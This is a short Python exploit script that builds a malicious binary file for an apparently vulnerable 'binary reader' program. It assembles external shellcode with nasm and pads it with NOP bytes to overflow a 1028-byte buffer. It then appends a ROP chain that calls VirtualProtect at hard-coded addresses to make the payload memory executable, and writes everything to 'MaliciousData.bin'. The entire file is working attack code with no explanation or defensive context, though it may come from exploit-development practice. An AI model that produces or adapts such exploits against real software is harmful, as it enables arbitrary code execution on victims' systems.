vulnBinReaderExploit.py

#!/usr/bin/python
#coding: utf-8
import struct
import os

p32 = lambda x:struct.pack("<l",x)

addr = 0x00514E88
fixedMemory = p32(addr)

os.system("nasm shellcode.asm -o shellcode")

fshCode = open("shellcode","rb")
shellcode = fshCode.read()
fshCode.close()
# padding + return address
pad = 1028 - len(shellcode)

# ROP layout: VirtualProtect
#  func | retaddr | arg4 | arg3 | arg2 | arg1 |
callVirtualProtect  = p32( 0x004542B0 )+fixedMemory
PAGE_EXECUTE_READWRITE = 0x40
callVirtualProtect += fixedMemory+p32(1024)+p32(PAGE_EXECUTE_READWRITE)+p32(addr-4) # arg4-arg1
shellcode += "\x90"*pad + callVirtualProtect

f = open("MaliciousData.bin","wb")
f.write(shellcode)
f.close()